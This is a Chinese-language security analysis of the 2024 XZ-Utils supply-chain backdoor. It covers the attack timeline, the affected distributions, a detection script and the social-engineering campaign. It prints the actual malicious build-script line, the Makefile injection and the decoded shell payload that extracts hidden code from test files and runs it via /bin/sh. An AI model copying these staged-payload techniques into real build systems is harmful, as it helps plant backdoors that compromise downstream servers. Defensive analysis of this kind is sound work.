差点引爆全球的核弹,深度分析XZ-Utils供应链后门投毒事件

news2024/11/27 1:31:43

处心积虑的投毒者蛰伏三年多,精心选择对象,通过复杂的攻击手法、专业的技战术,一步步支起一张大网,企图掌控全球主流linux发行版,一旦成功他将可以随意侵入全球绝大多数的服务器,这将是足以引爆全球的核弹危机。所幸由于复杂度过高以及投毒者的疏忽,事件被及早发现,没有造成过大的现实危害。但此次事件再次凸显出开源软件生态的脆弱性,本次事件仍可能只是冰山下的一角。墨菲安全也提醒所有企业不应该默认相信来自开源社区的软件,应该加强企业自身的供应链安全体系建设,才能当危机来临时应对自如。

事件简述

XZ-Utils是Linux、Unix等POSIX兼容系统中广泛用于处理.xz文件的套件,包含liblzma、xz等组件,已集成在Debian、Ubuntu、CentOS等发行版仓库中。

2024年3月30日凌晨墨菲安全实验室监测发现,微软工程师Andres Freund在排查sshd服务异常时发现xz-utils的上游tar包被投毒,并报告给oss-security社区。

  • 恶意代码存在于 xz-utils 的 5.6.0 和 5.6.1 版本中,影响x86/64下的Linux系统。通过在程序构建时进行注入,生成的恶意载荷会通过 systemd 劫持 sshd 中的公钥验证流程,导致通过特定的Ed448密钥签名认证时,服务端可以执行任意命令。
  • 当前GitHub已经关闭xz仓库、停止JiaT75、Lasse Collin账号,受影响的组件仓库大多已经回滚至5.6.0以前的版本,非滚动更新的发行版stable仓库不受影响。
  • 投毒者JiaT75在2021年曾参与libarchive项目,存在可疑风险,社区已着手修复。

主要时间线

  • 2021年1月26日,GitHub账号JiaT75创建
  • 2021年10月19日,JiaT75向libarchive项目提交第一个PR
  • 2022年2月6日,JiaT75向XZ Utils项目提交的commit开始被合并
  • 2024年2月24日,JiaT75在GitHub release中发布第一个包含后门的版本5.6.0

GitHub中5.6.0版本发布截图

  • 同日,Debian unstable仓库开始集成5.6.0版本xz

  • 3月29日 23时51分,Andres Freund向oss-security社区披露该后门情况

影响分析

投毒手法高明,但目前对真实场景的影响相对有限

其原因包括:

  1. 存在后门版本的xz-utils 5.6.0最早发布于2024年2月24日,被Debian unstable分支、Fedora Rawhide、Fedora 40、Arch Linux等少数仓库集成,还没有被大规模应用,CentOS/Redhat/Ubuntu/Debian/Fedora等的stable仓库都不受影响。
  2. 对于MacOS用户,通过homebrew或直接编译安装可能使用到受影响的组件,但其利用过程判断了只有x86/64下的Linux环境才会触发,因此不会被利用。
  3. 存在一些利用条件包括:
    1. 命令行参数argv[0]为/usr/sbin/sshd
    2. 未设置TERM、LD_DEBUG、LD_PROFILE环境变量
    3. 包含LANG环境变量
  4. 直接编译的openssh没有依赖liblzma,不受影响,而Ubuntu等系统发行版中通过systemd管理的版本通过libsystemd依赖了liblzma.so,受到影响。

目前已知的受影响发行版仓库

  • Fedora Rawhide,已回滚至5.4.6版本
  • Debian unstable
  • Alpine Edge
  • homebrew,当前已经回滚至5.4.5(bottled)、5.4.6版本
  • 其他滚动更新的发行版,包括 Arch Linux / OpenSUSE Tumbleweed / Kali Linux
  • 其他待发布的版本,如Ubuntu 24.04 LTS 已经移除风险版本xz、Fedora 41 redhat已发出通告

排查处置方式

排查方式

  1. 使用 ssh -Vxz --verison 判断系统是否同时使用了 OpenSSH 和受影响版本的 liblzma;
  2. 如果使用了受影响版本的组件,可使用下面脚本判断是否存在后门(该签名代表被修改植入的_get_cpuid函数,由于编译器的不同,基于二进制签名的方式也可能存在漏报):

#! /bin/bash

set -eu

# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

# does it even exist?
if [ "$path" == "" ]
then
        echo probably not vulnerable
        exit
fi

# check for function signature
if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then
        echo probably vulnerable
else
        echo probably not vulnerable
fi

处置方式

当前GitHub仓库已经被关闭,建议降级至5.6.0以前的版本(如5.5.2 beta、5.4.6 stable)进行修复。

后门投毒方法分析

编译阶段

攻击者在代码中投毒的文件包括:

  • bad-3-corrupt_lzma2.xz 和 good-large_compressed.lzma:新引入了两个数据文件作为测试用例,实际上作为恶意payload使用
  • /m4/build-to-host.m4文件:额外引入了gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'命令,从而生成恶意的构建代码

当存在$srcdir/debian/rules文件或$RPM_ARCH环境变量设置为x86_64时,才会在./src/liblzma/Makefile中释放恶意的编译逻辑,因此只影响deb、rpm包。

而./src/liblzma/Makefile中恶意的编译逻辑包括:

am__test = bad-3-corrupt_lzma2.xz
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

变量替换后实际执行如下:

sed rpath ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null

在5.6.1版本中的payload解码后如下,其中第3-7行的系统内核判断只存在于5.6.1版本payload。

####Hello####
#�U��$�
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

通过执行make命令,payload得以被执行,生成最终投毒注入代码,而在5.6.0版本中good-large_compressed.lzma文件可能存在问题,导致解码失败。

构建过程会生成恶意的liblzma_la-crc32_fast.o、liblzma_la-crc64_fast.o对象文件,在crc64_resolve()和crc32_resolve()函数中加入了get_cpuid()函数。并通过内联的方式修改了原本的_get_cpuid()函数,加入了__builtin_frame_address()调用,在get_cpuid()中会调用额外的逻辑。

运行阶段

get_cpuid()中的调用会通过计数限制第二次调用get_cpuid()时(即通过crc64触发)才触发后门逻辑,其中Llzma_block_param_encoder_0()函数即为后门的初始化。

最终利用GCC提供的ifunc机制,在Llzma_index_prealloc_0()函数中对RSA_public_decrypt()函数GOT劫持,RSA_public_decrypt()是openssh中用于公钥认证的函数,劫持后的代码会在经过自身处理后决定是否返回原本的正常验证流程,从而在特定的场景下触发。

其中Llzma_index_stream_size_1()是劫持后的处理逻辑实现,根据Filippo Valsorda的分析,在公钥认证中验证特定的Ed448证书签名后将通过system()函数执行任意命令。

溯源分析

投毒者在XZ-Utils项目潜伏时间长达两年

XZ-Utils 有两名维护者:Lasse Collin 和 JiaT75(jiat0218@gmail.com,Jia Cheong Tan),其中 Lasse Collin 自从 2009 年以来一直维护着 XZ-Utils 库,JiaT75的GitHub账号创建于2021年1月26日,在2022年2月6日开始提交commit。

随后,名为 Jigar Kumar 的开发者开始向 Lasse Collin 施压,于5月7日发邮件声称自己由于 Lasse Collin 对项目维护不积极感到不满,要求尽快合并补丁。

Lasse Collin 也回复邮件说明自己并没有失去对维护项目的兴趣,只不过自己有长期的心理健康问题:

之后,Lasse Collin 将 JiaT75 设为了新的项目维护者,Jigar Kumar再也没有出现。

JiaT75于2024年2月24日在Github上发布投毒版本之后,debian 社区中名为 Jonathan Nieder 的开发者提出了将问题版本包含在 Debian 中的请求:

可疑的是,Jonathan Nieder 这个账户刚注册还不到一周的时间,通过创建了一些类似的“更新”的请求提高账号的可信度,类似的账号还有misoeater91 和 krygorin4545等,这些长期不活跃的用户默契地积极推送新版本的合并。

同时Jia Tan账户积极将恶意版本推送至 Fedora 和 Ubuntu 的bate版本中,一系列可疑的行为被社区维护者发现并曝光。当前,上述账户和xz仓库已被Github关闭,Lasse Collin也没能幸免。

libarchive项目风险

Jia Tan在2021年还参与了libarchive项目,存在两次被合并的commit,在注释版权信息中写到其名称为Jia Cheong Tan。

libarchive是FreeBSD, NetBSD, macOS 和 Windows下默认的tar、cpio文件处理组件,在2021年10月和11月的两次提交后,Jia Tan再也没有在libarchive活跃。

其中存在将safe_fprintf函数改为fprintf的操作较为可疑(https://github.com/libarchive/libarchive/pull/1609),被认为便于后续hook fprintf操作,同时存在通过终端控制字符混淆输出内容的风险,在某些特定的场景下可能被利用。

如下方式压缩的包含控制字符的目录tar包,在通过libarchive解压时,终端输出结果看上去只包含部分内容。

libarchive开发者已经着手修复该问题,社区用户建议申请CVE标识该风险。

参考链接

  • https://www.openwall.com/lists/oss-security/2024/03/29/4
  • https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
  • https://www.mail-archive.com/xz-devel@tukaani.org/msg00553.html
  • https://mastodon.social/@glyph/112180922900094371
  • https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b
  • https://gcc.gnu.org/onlinedocs/gcc-5.3.0/gcc/Function-Attributes.html#index-g_t_0040code_007bifunc_007d-function-attribute-3095
  • https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
  • https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01
  • https://social.hackerspace.pl/@q3k/112184695043115759
  • https://github.com/karcherm/xz-malware

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1560988.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java高级面试题整理 - 2024

Java 创建对象有几种方式 在Java中,有以下几种常见的方式来创建对象: 使用new关键字:这是最常见的创建对象的方式。通过调用类的构造函数,使用new关键字可以在内存中分配一个新的对象。使用反射:Java的反射机制允许在…

【漏洞复现】通天星CMSV6弱口令漏洞

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该…

Anaconda换源和常用命令

设置Anaconda国内镜像加速下载 使用conda install python包非常便捷,但由于官方服务器位于国外,下载速度较慢。为了提升下载速度,国内清华大学提供了Anaconda的仓库镜像。 要将Anaconda设置为使用国内镜像,特别是清华镜像源&…

前后端数据交互

前后端数据交互 网页上所有的数据都是来源于后端,比如淘宝或者京东的秒杀,用户的登陆或者注册,这些都需要借助于后端来存储数据。我们前端需要做的就是把数据发送给后端,后端发送给我们的数据我们要拿到把它显示到页面上&#xff…

高斯消元、组合计数

数据结构、算法总述&#xff1a;数据结构/算法 C/C-CSDN博客 高斯消元 // a[N][N]是增广矩阵 int gauss() {int c, r;for (c 0, r 0; c < n; c ){int t r;for (int i r; i < n; i ) // 找到绝对值最大的行if (fabs(a[i][c]) > fabs(a[t][c]))t i;if (fabs(a…

数据可视化-ECharts Html项目实战(9)

在之前的文章中&#xff0c;我们学习了如何在ECharts中编写气泡图&#xff0c;词云图。想了解的朋友可以查看这篇文章。同时&#xff0c;希望我的文章能帮助到你&#xff0c;如果觉得我的文章写的不错&#xff0c;请留下你宝贵的点赞&#xff0c;谢谢。 数据可视化-ECharts Ht…

git仓库太大只下载单个文件或文件夹

有没有这样的苦恼&#xff1a;仓库太大&#xff0c;只想下载其中某些文件(夹)&#xff1f; 一招解决&#xff1a;bash down_folder_from_git.sh 运行前&#xff0c;先修改开头三个变量 原理: 稀疏检出 让工作树仅包含自定义的文件 #!/usr/bin/bash addrhttps://github.com/fac…

千行百业加速鸿蒙化,5分钟搞懂鸿蒙开发有必要学吗?

鸿蒙系统在全球范围内取得了显著进展&#xff0c;其生态设备数量已经突破8亿大关。更令人振奋的是&#xff0c;已有超过200家领先的互联网应用公司纷纷加速鸿蒙原生开发的步伐。 这其中包括了我们日常生活中耳熟能详的淘宝、支付宝、美团、京东、高德、小红书等热门应用&#…

AI技术创业:挖掘行业解决方案、智能产品服务及教育培训的无限机遇

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

AI大模型和BI如何结合?

人工智能大模型和商业智能&#xff08;Business Intelligence&#xff0c;BI&#xff09;可以结合起来&#xff0c;可以涵盖以下几个方面&#xff1a; 数据分析和预测&#xff1a;人工智能大模型可以通过深度学习和大数据处理技术&#xff0c;对大规模的数据进行分析和预测。通…

org.junit.runners.model.InvalidTestClassError:1. No runnable methods

你们好&#xff0c;我是金金金。 场景 很简单的一个测试方法 我的boot版本&#xff1a;2.7.18 依赖 报错信息 排查 看报错信息提示无效的测试类&#xff0c;没有可运行的方法 看了下依赖信息&#xff0c;引入spring-boot-starter-test依赖也自动的引入了juni5依赖&#xff0…

latex表格前后都有多行合并

最终实现的效果图如下&#xff1a; 这个表格的特点是前面有5行合并&#xff0c;后边也有5行合并&#xff0c;眉头有2行合并。 当然要引入对应的包 \usepackage{multirow} 其实现代码如下&#xff1a; \begin{table*}[!t]\caption{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX. \label{X…

论文笔记✍GS3D- An Efficient 3D Object Detection Framework for Autonomous Driving

论文笔记✍GS3D: An Efficient 3D Object Detection Framework for Autonomous Driving &#x1f4dc; Abstract &#x1f528; 主流做法限制 &#xff1a; 我们在自动驾驶场景中提出了一种基于单个 RGB 图像的高效 3D 物体检测框架。我们的工作重点是提取 2D 图像中的底层 3…

八、组合数据类型(列表、元组、集合、字典)

序列&#xff1a;存储多个值的连续空间&#xff0c;每个值对应一个编号————索引 包括&#xff1a;列表、元组、集合和字典 相加操作 s1"桂林山水" s2山水甲天下 print(s1s2)#直接相加得到新的字符串 print(_____________________________) print((s1s2)*5,sep&…

Linux 查看磁盘信息:df与du命令详解

一、df 1.简介 df 是 disk free的缩写&#xff0c;从UNIX和类UNIX操作系统的早期开始&#xff0c;它就是UNIX和类UNIX操作系统的一部分。它被设计为一种工具&#xff0c;用于监视系统上已使用和可用的磁盘空间数量。 df 命令主要用于需要检查文件系统上已使用和可用的磁盘空…

Ubuntu安装Bazel(最简单的方法)

Ubuntu安装Bazel 文章目录 Ubuntu安装Bazel简介安装验证一下 简介 Bazel 是一款由 Google 开发的开源构建和测试工具&#xff0c;它使用了一种人类可读且高度可配置的语言来描述构建规则&#xff0c;使得构建和测试过程更加灵活和可维护。Bazel 支持多种编程语言&#xff0c;包…

ArcGIS Pro怎么进行挖填方计算

在工程实施之前&#xff0c;我们需要充分利用地形&#xff0c;结合实际因素&#xff0c;通过挖填方计算项目的标高&#xff0c;以达到合理控制成本的目的&#xff0c;这里为大家介绍一下ArcGIS Pro中挖填方计算的方法&#xff0c;希望能对你有所帮助。 数据来源 教程所使用的…

【Web自动化】Selenium的使用(一)

目录 关于自动化测试selenium工作机制 selenium的使用selenium中常用API定位元素按id定位按名称定位按类名定位按标签名定位按CSS选择器定位按XPath定位示例 操作测试对象等待sleep休眠隐式等待显示等待 打印信息浏览器操作键盘事件鼠标事件切换窗口截图关闭浏览器 欢迎阅读本文…

Windows部署VisualSVN服务端结合Cpolar实现公网访问内网管理界面

文章目录 前言1. VisualSVN安装与配置2. VisualSVN Server管理界面配置3. 安装cpolar内网穿透3.1 注册账号3.2 下载cpolar客户端3.3 登录cpolar web ui管理界面3.4 创建公网地址 4. 固定公网地址访问 前言 SVN 是 subversion 的缩写&#xff0c;是一个开放源代码的版本控制系统…

Oracle利用BBED恢复崩溃实例(ORA-01092,ORA-00704,ORA-01578)

BBED修复数据损坏引起的数据库崩溃&#xff08;ORA-01092,ORA-00704,ORA-01578&#xff09;(2021年某苏州国企的案例&#xff09; 1.Symptom 用户一个边缘系统出现数据文件损坏&#xff0c;且没有备份&#xff0c;数据库无法启动 报错如下&#xff0c;发现是oracle bootstra…